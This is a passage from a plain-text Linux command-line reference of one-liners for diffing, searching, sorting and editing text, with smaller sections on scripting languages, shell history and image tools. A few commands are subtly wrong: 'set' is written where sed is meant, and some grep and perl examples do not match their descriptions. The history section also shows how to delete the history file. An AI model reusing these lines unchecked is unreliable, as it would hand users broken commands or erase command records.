* convert from MS Windows utf8 to the local character set
>> recode utf-8/CRLF.. file-to-change.txt
COMPARING AND PATCHING TEXT FILES ....
The process of 'patching' a text or code file is very important in the
world of open-source development (and therefore in the development of Linux
itself). Patching allows non-linear changes to be made to a file and is
usually used in conjuction with 'diff'
* Use colordiff in side-by-side mode, and with automatic column
>> colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
* Compare a file with the output of a command or compare the output
>> vimdiff foo.c <(bzr cat -r revno:-2 foo.c)
* remote diff with side-by-side ordering.
>> ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
* Diff files on two remote hosts.
>> diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)
* show lines that appear in both file1 and file2
>> comm -1 -2 <(sort file1) <(sort file2)
* find the extra lines in file2
>> diff file1 file2 | grep ^>
* find the extra lines in file1
>> diff file1 file2 | grep ^<
* Compare a remote file with a local file
>> ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
* Generate diff of first 500 lines of two files
>> diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
* compare the files 'manuscript.old' and `manuscript.new'
>> diff manuscript.old manuscript.new
* peruse the files 'olive' and 'green' side by side indicating differences
>> sdiff olive green | less
* output a difference report for files 'tree', 'bush', and 'hedge',
>> diff3 tree bush hedge > arbol
* update the original file 'manuscript.new' with the patchfile 'manuscript.diff'
>> patch manuscript.new manuscript.diff
* Colored diff ( via vim ) on 2 remotes files on your local
>> vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
* vimdiff to remotehost
>> vimdiff tera.py <(ssh -A testserver "cat tera.py")
SEARCHING TEXT ....
gnu grep special characters
-------------------------------
.. \< - matches beginning of a word
.. \> - matches the end of a word
.. \b - matches a word boundary
.. [:upper:] - matches upper case letters (unicode)
.. [:lower:] - matches lower case letters (unicode)
.. [:space:] - matches space characters
..
,,,
00-
the "--" sequence may be "escaped" in grep. for example: grep "\-\-" file.txt
-
* search interactively and ignoring case all '.txt' files in this folder
>> cat *.txt | less -I ##(then type '/' to search)
>> less -I *.txt ##(then type '/*' to search, seems better)
* search for lines which begin with "#" in the text file "script"
>> grep '^#' <script
* display lines which begin with an uppercase letter or word in 'doc.txt'
>> grep '^[[:upper:]]\+' doc.txt
* display lines in 'doc.txt' which do not have any upper case letters in them
>> grep '^[^[:upper:]]*$' doc.txt
* search for lines which dont contain the word "the"
>> grep -v the <file
* show all lines which contain neither of the words "to" nor "green"
>> egrep -v "tree|green" tree.txt
* show the names of all files containing the word 'tree' (searches subfolders)
>> find . | xargs grep -l "tree" ##(the fastest way)
>> find | xargs grep -l "tree" ##(the dot doesnt seem important)
>> grep -l tree $(find .) ##(the same but not for lots of files)
>> grep -rl tree * ##(veeery sloow)
* show names of all files Not containing the word 'mall' (searches subfolders)
>> find | xargs grep -L "mall" ##(matches mall, small, ...)
>> find | xargs grep -L "\<mall\>" ##(only matches 'mall')
* show the number of lines in a file which start with the word "tree"
>> grep "^ *big" book.txt | wc -l
* search for "leaf" or "tree" ignoring the case of the words
>> grep -i -e "leaf" -e "tree" *
>> egrep -i "leaf|tree" * ##(the same)
##(shows lines with the word "Leaf", "TREE", "trEE" etc)
* show all text files in the books folder which have more than 100 lines
>> find books/ | xargs wc -l | sort -rn | awk '$1 > 100 {print $2}'
* search for a pattern (regex) in all text files (ignoring binary files)
>> find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"
FIND AND REPLACE IN TEXT FILES
notes: turma ?? a graphical tool for search and replace
SINGLE FILE ....
* replace uppercase letters with lower case letters
>> tr '[:upper:]' '[:lower:]' <file ##(handles international text)
* 'squeeze' multiple spaces in the file "test.txt"
>> tr -s ' ' test.txt
>> tr -s '[:blank:]' test.txt ##(the same but better, handles all whitespace)
* change aaa for bbb and print each line
>> perl -p -e 's/aaa/bbb/' test.txt ##(the file is not changed)
* replace "aaa" with "bbb" and print each line
>> perl -pi -e 's/aaa/bbb/' test.txt ##(the file IS changed)
WITH A BACKUP ....
* replace the word "big" with "small" in .txt files backing up to .bak
>> perl -p -i.bak -e 's/\bbig\b/small/g' *.txt
MULTIPLE FILES ....
* Change string in many files at once and more.
>> find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
* replace the word "big" with "small" in .txt files backing up to .bak
>> perl -p -i.bak -e 's/\bbig\b/small/g' *.txt
* recursive replacement of text in the current folder and subdirectories
>> perl -p -i.bak -e 's/\bbig\b/small/g' $(grep -ril oldstring *)
* change 'big' to 'BIG' in all '.txt' files in this folder and subfolders
>> set -i.bak 's/big/BIG' $(find . -name '*.txt')
##(the files are edited 'in place' and backed up to '.txt.bak')
* find .txt files inside a directory and replace every occurrance
>> find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
* a find and replace within text-based files, to locate and rewrite
>> find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
* find and replace with vim 'argdo'
>> vim * ... etc
ANALYSING TEXT
* Get line number of all matches in a file
>> awk '/match/{print NR}' file
* Count the number of characters in each line
>> awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
* show unique words and the number of times each word occurs
>> tr -sc [A-Z][a-z] [\012*] < file.txt | sort | uniq -c | less ##(???)
* Count the number of lines in all files in this and subfolders
>> wc -l $(find . -name *.php)
* Plot frequency distribution of words from files on a terminal.
>> cat *.txt | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
ANALYSING TEXT DATA ....
== tools to process text data
.. awk, a very capable text data processing language
.. perl, an even more capable language
.. cut, a simple field based tool
.. sort, sort lines of a text file
The delimiter character for cut can only be a single character, as far as I
am aware. If more processing power is needed then the reader should consider
using awk, sed, or perl.
@@ http://bumble.sf.net/books/awk/awk-book.txt
A small booklet about the awk language, also available as a pdf file.
@@ http://bumble.sf.net/books/perl/perl-book.txt
a booklet about the perl language
* show the second "field" of each line where fields are separated with a space
>> cut -d ' ' -f 2 data.txt ##(if any extra spaces in file, this will fail)
* with space separated fields, first get rid of unwanted spaces with sed
>> sed -r 's/^\s+//; s/\s+/ /g' cgt.txt | cut -d' ' -f2
---------------------------
if the data were
spain 4 5
italy 11 5
england 4 6
then the output would be
4
11
4
,,,
* show every comma delimited field except the second
>> cut -d, -f 2 --complement list.txt
----------------------------
if the content of 'list.txt' was
a,b,c,d
f,g,h,i
then the output would be
a,c,d
f,h,i
,,,
* show the 2nd field and all subsequent fields of a comma delimited file
>> cut -d, -f2- data.csv
* show the 1st, 2nd and 3rd fields
>> cut -d, -f-3
* show fields 2, 3 and 4
>> cut -d, -f2-4
* sort alphabetically on the 3rd field of the file ignoring initiall blanks
>> sort -k 3b
EXTRACTION DATA FROM TEXT ....
* display all the urls from 'essay.txt' and select to open in browser
>> urlview essay.txt
TIDYING TEXT FILES ....
* see how many lines in a text file are consecutive and duplicate
>> uniq -d file.txt | wc -l ##(this also counts duplicate blank lines)
* show all duplicated (consecutive) lines in a text file
>> uniq -d file.txt
* output the file 'paper' with 1 space between words and 2 after fullstops
>> fmt -u paper
* show the file 'term-paper' with multiple blank lines as only one blank line
>> cat -s term-paper
* display 'term-paper' with multiple blank lines removed and giving the text unified spacing between words
>> cat -s term-paper | fmt -u | less
* output the file 'term-paper' with lines up to 75 characters long
>> fmt term-paper
* output the file 'doc.txt' with lines up to 80 characters long
>> fmt -w 80 doc.txt
* wrap long lines in the file 'doc.txt' without disturbing special patterns
>> par doc.txt
STREAM EDITING TEXT FILES ....
'stream editing' or 'batch editing' text files refers to the process
of modifying a text file without opening a text editor. In other words
the text file is modified via a series of commands which are applied
to a file or many files with a program such as sed, awk, perl, etc.
This is very useful when a large number of modifications need to be made
in many files and where those modifications are similar; For example
where a persons name needs to be changed in a large number of files.
* Randomize lines (opposite of | sort)
>> random -f <file>
* uniq for unsorted data
>> awk '!_[$0]++{print}'
* Add a line to a file using sudo
>> echo "foo bar" | sudo tee -a /path/to/some/file
* Remove duplicate entries in the file 'list.txt' without sorting.
>> awk '!x[$0]++' list.txt
SORTING TEXT DATA
The unix 'sort' utility is a powerful and flexible way to reorder lines of a
text file based on the data in one or more of the 'fields' of each line. A
field is a chunk of text separated from another chunk by a 'delimiter'
character such as a space or a colon. For example if the line is 'italy 3
4/oct/1999' and the delimiter is a space then the fields are 'italy', '3' and
'4/oct/1999'
By default, sort divides a line into fields based on spaces or tabs but
can use another character (see the -t option)
VIEWING HELP FOR SORT ....
* view some examples of using the 'sort' program
>> info coreutils 'sort invocation'
* view a confusing description about how 'sort' works
>> man sort ##(this is a classic example of an accurate but baffling man page)
BASIC USAGE ....
* sort in alphabetical order (abc...) the lines of the text file 'data.txt'
>> sort data.txt ##(the sorted lines are displayed, the file is unchanged)
* sort in reverse alphabetical order (zxy...) the lines of the file 'data.txt'
>> sort -r data.txt
* sort in alphabetical order, ignoring case, the lines of the file 'data.txt'
>> sort -fr data.txt
>> sort -f -r data.txt ##(the same)
* sort in alphabetical order using the 3rd 'field' in each line as the sort key
>> sort -k3 data.txt ##(each 'field' is a bit of text separated by spaces)
>> sort +2 data.txt ##(prehistoric syntax, probably to be avoided like bubonic)
* Sort IPV4 ip addresses
>> sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
* sort lines by length
>> perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail
SORT INPLACE ....
* sort a file and update it
>> sort -o data.txt data.txt ##(is this safe??)
>> sort --output=data.txt data.txt
SORTING BY MULTIPLE FIELDS ....
The lines of a file can be sorted first by one field, and then
by a second field when the value of the 1st field is equal
* sort a file alphabetically by the 1st field and then numerically by the 2nd
>> sort -k1 -nk2 data.txt
* sort the lines alphabetically using the first 3 fields of the file
>> sort -k 1,3 data
NUMERICAL SORTS ....
* perform a numerical sort using the second field
>> sort -k2,2n data.txt ##(2,2 means from the 2nd to the 2nd field)
>> sort -n -k2 data.txt ##(watch out! this may be different ??)
* sort lines using the 2nd field as a numeric key with fields delimited by '/'
>> sort -n -t/ -k2 data.txt
>> sort -n -t'/' -k2 data.txt ##(the same)
>> sort -nt/ -k2 data.txt ##(the same, again)
* sort in ascending numerical order using the 2nd field as the sorting key
>> sort -k 2,2n data ##(possibly the correct way to do this)
>> sort -k 2n,2n data ##(the same)
>> sort -n -k2 data ##(this may be subtly different)
>> sort -nk2 data ##(options can be written together)
* sort the lines of 'data' using the 3rd ':' delimited field as a number key
>> sort -n -k3 -t: data
>> sort -nk3 -t: data ##(the same)
>> sort -nk3 -t : data ##(the same again)
* sort the lines of 'data' in descending (reverse) numeric order
>> sort -rn data
* sort lines in descending numerical order using the 2nd field as the sort key
>> sort -k2 -r -n data.txt
>> sort -rnk2 data.txt ##(the same, but better)
* sort in ascending numeric order using only the 1st digit of the 2nd field
>> sort -nk2.1,2.1 data.txt ##('2.1,2.1' means 'from the 1st to the 1st char)
* sort in descending numeric order using the first 3 digits of the 2nd field
>> sort -rnk2.1,2.3 data.txt
SORTING BY DATE VALUES ....
The problem of sorting by a date value is somewhat tricky, mainly
because of the daunting array of different formats which a date can
appear in, without even thinking about intercultural differences.
However 'sort' is capable of sorting by date value, where the dates
are in a consitent format.
Where the date string is of a variable length the problem gets harder.
It may be possible to use the -t delimiter to divide up each field of
the date (eg use '-t/' for '1/january/08' and '02/oct/2001')
* Use the 'M' modifier to recognise month names and abbreviated month names
* sort lines by month name, assuming that field 3 is an english month name
>> sort -k3M data ##(field 3 can be something like 'feb', 'oct' or 'january')
* sort by month names using the 3rd character of the 2nd field as the start point
>> sort -k2.3M data ##(field 2 may be '--jan' or '::august' etc)
* sort lines by the 1st field, a date in the format dd/mm/yyyy (eg '09/11/1922')
>> sort -k 1.7n -k 1.4n -k 1.1n -k 4.14,4.21 data.txt
##(note that '4/11/1920' will not sort well but '04/11/1920' will)
* reverse sort lines by a date field in the format dd/mm/yyyy
>> sort -k 1.7nr -k 1.4nr -k 1.1nr data.txt
* sort lines with the second field a date in format dd/MON/yyyy '02/Apr/2010'
>> sort -k 1.8n -k 1.4M -k 1.1n data.txt
##(the month abbreviations must be 3 letters, and in english ...)
* sort lines by a date/time value such as '01/Jan/2004:06:31:51'
>> sort -k 1.8n -k 1.4M -k 1.1n -k 1.13,1.21 data.txt
##(this assumes the date is the first field of each line)
FIELDS AND PARTIAL FIELDS ....
* sort lines starting the key at the second character of the 2nd field
>> sort -k2.2 data
* sort using characters 2 to 8 as the alphabetic sort key
>> sort -k2.2,2.8 data
OTHER TOOLS ....
* tsort is a mysterious tool
>> tsort
* sort text files by the number of lines which they contain, reverse order
>> file * | grep text | sed "s/:.*//" | xargs wc -l | sort -rn | grep -v "total$" | less
* display the lines in a text file 'shuffled'
>> shuf file.txt
* shuffle lines in a file and update the file
>> shuf -o F <F' ##(according to the man pages, this is safe)
>> cat F | shuf -o F ##(the same, no risk of truncation 'apparently')
* shuffle some lines entered at the prompt
------------------------------------------
shuf <<eof
A man,
a plan,
a canal:
invasion!
eof
,,,
* shuffle command line arguments
--------------------------------
shuf -e clubs hearts diamonds
output:
hearts
diamonds
clubs
,,,
* display the lines of a file in reverse order
>> tac file ##(yes 'tac' is the reverse of 'cat')
TYPESETTING TEXT DOCUMENTS
This section explains how to prepare documents to be printed
on paper. This is actually a really large topic. See also the
latex-book.txt file for detailed information about the Latex
typesetting system.
== typesetting tool quick summary
.. groff, an old unix system, used for 'man' pages
.. latex, extensive system widely used for scientific and maths docs
.. docbook, an xml based "super" system
.. pod, the perl document system,
.. man, the old unix "manual page" system based on groff
.. enscript, turns text into pdf in a configurable manner
.. markdown, minimal text markup
.. pandoc, implements and extends markdown, lots of output format
.. phpmarkdown, a php implementation of markdown
..
OVERVIEW ....
This section tries to give an overview of the numerous tools available
to produce 'typeset' documents in a format ready to be sent to a
printer (such as pdf or postscript).
@@ markdown
The user writes a plain text document adhering to certain
formatting rules ... and markdown produces a formatted html
document
@@ halibut
The user embeds simple 'markup' codes into the text document
and the tool can convert the document into a variety of
output formats including pdf
@@ reStructured text
another philosophy similar to markdown
@@ http://docutils.sourceforge.net/docs/ref/rst/introduction.html
a page about 'restructured text'
LATEX ....
Latex is for people who have 4 years to write a thesis. If you have
less time, use enscript or halibut.
see the latex booklet at http://bumble.sf.net/books/latex/latex-book.txt
* convert a latex source file (.tex) into opendocument (.odt )
>> htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
TEXT DATA FORMATS
* store personal contact information in a text file
>> vcard
XML ....
@@ http://xmlstar.source¿forge.net/
The home page for xmlstarlet
@@ xmlsoft.org
more linux xml software
@@ http://xmlstar.sourceforge.net/doc/xmlstarlet.txt
xmlstarlet examples
== xml tools
.. xmlstarlet - useful tools for xml from the command line
..
* remove comments from xml
>> cat <filename> | perl -e '$/ = ""; $_ = <>; s/<!--.*?-->//gs; print;'
* remove comments from the xml file 'page.xhtml'
>> xmlstarlet ed -d '//comment()' page.xhtml
* show some help information for the 'ed' option of xmlstarlet
>> xmlstarlet ed -h
* display the xml entity for the & ampersand character
>> xmlstarlet esc '&'
* Count elements matching XPath expression
>> xmlstarlet sel -t -v "count(/xml/table/rec/numField)" xml/table.xml
* Count all nodes in XML document
>> xmlstarlet sel -t -f -o " " -v "count(//node())" xml/table.xml xml/tab-obj.xml
* Delete elements matching XPath expression
>> xml ed -d /xml/table/rec[@id='2'] xml/table.xml
* Generate HTML from given SGML docbook document
>> xml tr --omit-decl --docbook /usr/share/sgml/docbook/yelp/docbook/html/docbook.xsl sgml/docbook1.sgml | xml fo --html --indent-spaces 2
* Validate XML document against a DTD
>> xml val --dtd dtd/table.dtd xml/tab-obj.xml >/dev/null 2>&1; echo $?
* Prettify an XML file
>> tidy -xml -i -m [file]
CSV ....
csv stands for 'comma separated something' is an old and
simple 'table' data format.
* Sum columns from CSV column $COL
>> awk -F ',' '{ x = x + $4 } END { print x }' test.csv
* turn lines in columns in csv format
>> ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}'
* Convert CSV files to TSV
>> sed 's/,/\t/g' report.csv > report.tsv
* Sum columns from CSV column $COL
>> perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
* Pretty print a simple csv file on the command line
>> column -s, -t <tmp.csv
* Parse a quoted .csv file
>> awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv
TEXT ORIENTED PROGRAMMING LANGUAGES
THE AWK LANGUAGE ....
@@ http://www.grymoire.com/Unix/Awk.html
a tutorial
@@ http://www.pement.org/awk/awk1line.txt
one line examples of awk
* Randomize lines in a file
>> awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
* Print a row of 50 hyphens
>> awk 'BEGIN{while (a++<50) s=s "-"; print s}'
* Calculating series with awk: add numbers from 1 to 100
>> seq 100 | awk '{sum+=$1} END {print sum}'
* print file without duplicated lines using awk
>> awk '!($0 in a) {a[$0];print}' file
* Print line immediately before a matching regex.
>> awk '/regex/{print x};{x=$0}'
GREP ....
* Find String
>> grep -iR find_me ./
* count how many times a string appears in a (source code) tree
>> grep -or string path/ | wc -l
* permanently let grep colorize its output
>> echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
* Search through files, ignoring .svn
>> grep <pattern> -R . --exclude-dir='.svn'
* Output files without comments or empty lines
>> grep -v "^\($\|#\)" <filenames>
* Colorize matching string without skipping others
>> egrep --color=auto 'usb|' /var/log/messages
SED STREAM EDITOR ....
@@ http://www.grymoire.com/Unix/Sed.html an concise introduction
@@ http://sed.sourceforge.net/sedfaq.html comprehensive recipes
@@ http://www.gnu.org/software/sed/manual/html_node/ gnused documentation
* Perform sed substitution on all but the last line of input
>> sed -e "$ ! s/$/,/"
* create an interpreting script with extended regexes (-r)
>> #!/bin/sed -rf ##(this is the first line of the script, try 'which sed')
* replace 'a' with 'A', 'b' with 'B' etc, similar to the 'tr' tool
>> sed "y/abcd/ABCD/g"
* convert words beginning in 'b' or 'c' to upper case
>> sed -r "s/\<(b|c)[a-z]+/\U&/g"
* duplicate words, using groupings and backreferences.
>> s/\([a-z]+\)/\1\1/g;
>> s/([a-z]+)/\1\1/g; ##(gnu sed with the -r flag, this is 'gotcha')
* convert upper case words to lower case
>> sed -r "s/\<[A-Z]+\>/\L&/g" ##(gnused, this is not very international)
>> sed -r "s/\<[[:upper:]]+\>/\L&/g" ##(the same, but more international)
* match words beginning in 'a' or 'b'
>> sed -r "s/\<(a|b)[a-z]+/&/g"
* make changes to files and back up to .bak
>> sed -i.bak -r "s/yes/no/g" *.txt ##(gnused 4)
* detailed information about gnu regular expressions (used in sed)
>> man 7 regex
* delete uppercase letters and commas.
>> sed -r 's/[[:upper:],]//g'
== gnused character classes (for international text)
.. [:alnum:]], - [A-Za-z0-9] Alphanumeric characters
.. [[:alpha:]], - [A-Za-z] Alphabetic characters
.. [:blank:]], - [ \x09] Space or tab characters only
.. [[:cntrl:]], - [\x00-\x19\x7F] Control characters
.. [[:digit:]], - [0-9] Numeric characters
.. [[:graph:]], - [!-~] Printable and visible characters
.. [[:lower:]], - [a-z] Lower-case alphabetic characters
.. [[:print:]], - [ -~] Printable (non-Control) characters
.. [[:punct:]], - [!-/:-@[-`{-~] Punctuation characters
.. [[:space:]], - [ \t\v\f] All whitespace chars
.. [[:upper:]], - [A-Z] Upper-case alphabetic characters
.. [[:xdigit:]], - [0-9a-fA-F] Hexadecimal digit characters
PERL
[+] Perl is a language which was originally inspired by the Bash shell
syntax, as well as by the idea of writing terse but powerful programs. The
name perl is not an acronym, since the creator, Larry Wall said he was
looking for any name with "positive connotations". Perl initially rose
to fame through it suitability for writing web-server cgi scripts, since
perl, like the unix shells, uses plain text as a kind of "data interchange format".
* A command line calculator in Perl
>> perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
* validate the syntax of a perl-compatible regular expression
>> perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
* Make perl crash
>> perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }'
* Transforms a file to all uppercase.
>> perl -i -ne 'print uc $_' $1
* prints line numbers
>> perl -ne 'print "$. - $_"' infile.txt
* Sort the size usage of a directory tree by gigabytes, kilobytes,
>> du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
PERL DOCUMENTATION ....
debian: perl-doc - to use the perldoc tool
* query the perl "frequently asked questions" documents for a word or phrase
>> perldoc -q eval
* show the documentation for the CGI module
>> perldoc CGI ##(these names are case-sensitive, "perldoc cgi" doesnt work)
PERL ONE LINE SCRIPTS ....
* include 2 perl expressions with the -e expression
>> perl -e 'print "Hello";' -e 'print " World\n"'
* print the 1st and 2nd fields of the input lines
>> echo a b c | perl -lane 'print "@F[0..1]"'
* print the 3rd line of a file
>> perl -nle 'print if $. == 1' file.txt
* perl one-liner to get the current week number
>> perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print "$weekn\n"'
PERL MODULES ....
* Upgrade all perl modules via CPAN
>> perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
* Upgrade all perl modules via CPAN
>> cpan -r
* Open Perl module source in your editor
>> $EDITOR `perldoc -l Module::Name`
* clean up syntax and de-obfuscate perl script
>> %! perl -MO=Deparse | perltidy
PYTHON
* one-liner to display ip addresses
>> python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethostname())[2])"
* An easter egg built into python to give you the Zen of Python
>> python -c 'import this'
* Cleanup Python bytecode files
>> find . -name "*.py[co]" -exec rm -f {} \;
* Quick syntax highlighting with multiple output formats
>> $ python -m pygments -o source.html source.py
RUBY
* Display command lines visible on commandlinefu.com homepage
>> ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{| c| puts c.to_plain_text}'
* Print a row of 50 hyphens
>> ruby -e 'puts "-" * 50'
* ruby one-liner to get the current week number
>> ruby -rdate -e 'p DateTime.now.cweek'
* ruby one-liner to get the current week number
>> ruby -e 'require "date"; puts DateTime.now.cweek'
PHP
* run php code inline from the command line
>> php -r 'echo strtotime("2009/02/13 15:31:30")."\n";'
* Testing php configuration
>> php -i
* Testing php configuration
>> php -r "phpinfo\(\);"
* scan folder to check syntax error in php files
>> find . -name "*.php" -exec php -l {} \;
THE C LANGUAGE
* enter and compile a c one line program
>> /lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -) ##(?? unchecked code)
SOURCE CODE FILES
VIEWING SOURCE CODE ....
* view 'script.sh' in a pager with some syntax highlighting
>> over myscript.sh ##(over is part of the 'enscript' package)
FORMATTING AND INDENTING SOURCE CODE ....
The program 'indent' is designed for c and cpp but can be used
for java as well.
* format source code
>> astyle, indent, bcpp
* indent a c file with no brace indent,
>> indent -bli0 <file.c ##(The '{' will be directly under the clause)
* indent 'file.c' but dont put blank lines after procedures
>> indent -nbap <file.c
* indent Test.java using the 'kernighan & ritchie' style (compact)
>> indent -kr Test.java -st | less
* indent 'file.c' without lining up parenthesis (). (prevents large indents)
>> cat file.c | indent -kr -nlp -st | less
##(the 'k & r' style puts the braces on the same line)
* indent Test.java with an indent of 2 spaces, writing to standard output
>> indent -gnu --indent-level2 -st Test.java | less
##(the gnu style puts the curly braces underneath the previous line)
* bli is the brace indent
* indent the java code file 'original', with an indent of 2 spaces
>> astyle -js2 < original > new
>> astyle --mode=java --indent=2 < original > new ##(the same)
CONVERTING TO SYNTAX HIGHLIGHTED DOCUMENTS ....
The following tools can convert source code in a text file to another
format, such as HTML, rtf or LaTeX, with the syntax of the source code
highlighted for easier reading. For HTML, the tool 'webcpp' seems to
produce the nicest looking output (at least with the default settings).
All the tools support a number of programming languages for the input
code file.
Syntax highlighting tools
@@ webcpp
http://webcpp.sourceforge.net outputs only in HTML
@@ highlight
outputs formats: ansi latex xterm256 rtf tex xhtml xml svg
@@ gnu source-highlight
output formats: HTML, XHTML, LaTeX, Texinfo, ANSI color
escape codes and DocBook
@@ the vim editor
@@ enscript
* convert source code to highlighted html with no <html> <body> tags
>> webcpp codefile htmlfile -s
* convert 'file' to html, writing to standard out with unix script type
>> cat file | webcpp - - -x=sh -s | less
* convert java code to html with line numbers and internal css definition
>> highlight -i Test.java -o Test.java.html -I -l
* convert a c file to LaTeX with the syntax highlighted
>> highlight -L -i main.cpp -o main.cpp.tex
* 'highlight' output formats
>> LaTeX (-L), XHTML (-X), TeX (-T), RTF (-R), ANSI Escape Quotes(-A), and XML (-Z).
* convert a c++ file to html from an input stream and with external css
>> highlight < main.cpp > main.cpp.html -Sc
* convert chom.c to pretty printed postscript with 2 columns, landscape
>> enscript -p new.ps -Ec -2 -r -f "Courier8" chom.c
>> enscript -p new.ps -2rEc -f Courier8 chom.c ##(the same)
== the enscript options used
.. -p - output to the file 'new.ps'
.. -r - landscape
.. -2 - two columns
.. -Ec - syntax highlight with 'c' syntax
.. -f "Courier8" - use a 8 point courier font
..
* convert 'Assig.java' to a syntax highlighted 6 point pdf file
>> enscript -o - -2rE -f Courier6 Assig.java | ps2pdf - Assig.pdf
== the enscript options used
.. -r - landscape
.. -2 - two columns
.. -E - syntax highlight the code
.. -f "Courier6" - use a 6 point courier font
.. -o - sent the output to standard out
..
* see what computer languages enscript can handle
>> enscript --help-pretty-print
COMMAND HISTORY
The 'history' file is a special text file which contains all recent
commands which have been entered at the command line. This is
invaluable to avoid retyping things.
* Display the history and optionally grep
>> h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
* The top ten commands you use for the 'zsh' shell (not bash)
>> perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10
* Clear your history saved into .bash_history file!
>> history -c && rm -f ~/.bash_history
* Clear your history saved into .bash_history file!
>> history -c
* advanced bash history
>> export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000
* put environment variable in history to edit
>> print -s "PATH='$PATH'"
* A bit of privacy in .bash_history
>> export HISTCONTROL=ignoreboth
* List of commands you use most often
>> history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
* find the longest command in your history
>> history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
* exit without saving history
>> kill -9 $$
* See most used commands
>> history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
* Avoiding history file to be overwritten
>> shopt -s histappend
* Add timestamp to history
>> export HISTTIMEFORMAT="%F %T "
* delete a line from your shell history
>> history -d
TEXT AND CHARACTER RECOGNITION
See http://bumble.sf.net/books/linux-image/
for more information about this topic
The process of extracting text data from an image file (which has
usually been obtained by scanning a page of typed text) is known as
"ocr" for Optical Character Recognition
== ocr tools
.. tesseract-ocr - Command line OCR tool, said to be mature
.. ocropus - google sponsored ocr tool, uses tesseract
.. gocr -
.. ocrad -
.. clara -
.. unpaper - improve the quality of scanned text images
..
IMAGES
@@ http://bumble.sf.net/books/linux-image/linux-image-book.txt
A more comprehensive treatment of images on linux
* Determine an image's dimensions
>> identify -format "%wx%h" /path/to/image.jpg
* Convert images (jpg, png, ...) into a big PDF 'big.pdf'
>> convert images*.* big.pdf
MANAGING IMAGES ....
* find all image files in the 'icons' folder
>> find /usr/share/icons/ | xargs file | grep image | less
* find all image files on the computer
>> sudo find / | xargs file | grep ' image' | less
VIEWING IMAGES ....
== linux image viewers
.. xv - an old x windows viewer
.. xli - another one
.. aview - ascii image viewer
.. asciiview -
.. feh - a fast command line driven image viewer
.. gthumb - a gnome viewer and simple editor
.. geeqie - gtk image viewer
.. gpicview - small image viewer
.. gqview - simple gtk image viewer, emacs style keys
.. eye of gnome - the gnome viewer
.. mirage - simple gtk viewer, with thumbnails
.. imgseek - image viewer, manager, requires python
.. pqiv - similar to qiv, but different, very basic
.. qiv - quick image viewer, up to date
.. gwenview - kde image viewer
.. showfoto - kde
..
* show jpegs with thumbnails
>> find ~ -name '*.jpg' | xargs mirage
FEH ....
Feh is a fast command line driven image viewer. maybe
just what we need.
* show all the images in the /opt/images tree in a slideshow.
>> feh -r /opt/images
* same again, but sort by image name before showing.
>> feh -rSname /opt/image
* create a montage from the images in /opt/images/landscapes
>> feh -m /opt/images/landscapes
* Create a montage from the images in /opt/images/landscapes and
* all directories below it. Limit the width of the image to 400
* and make the thumbnails 30x20, ignoring aspect ratio
>> feh -Xrm -W 400 --thumb-width 30 --thumb-height 20 ./landscapes
* view jpgs and gifs with thumbnails
>> find ~ -name '*.jpg' -o -name '*.gif' | xargs gthumb
* open all images specified in the text file 'images.txt' (one per line)
>> qiv -F images.txt
>> qiv --file images.txt
* display all jpg and gif images shrinking to fit them in the window
>> find ~ -name '*.jpg' -o -name '*.gif' | xargs qiv -t
* browse through all "gif" images in the current folder "gallery" style
>> display 'vid:*.gif'
IMAGE METADATA ....
* Remove EXIF data from images with progress
>> i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
SCREENSHOTS ....
== tools for screen capture
.. import - makes screen shots, part of 'imagemagick' package.
.. scrot - a simple command line screen capture utility
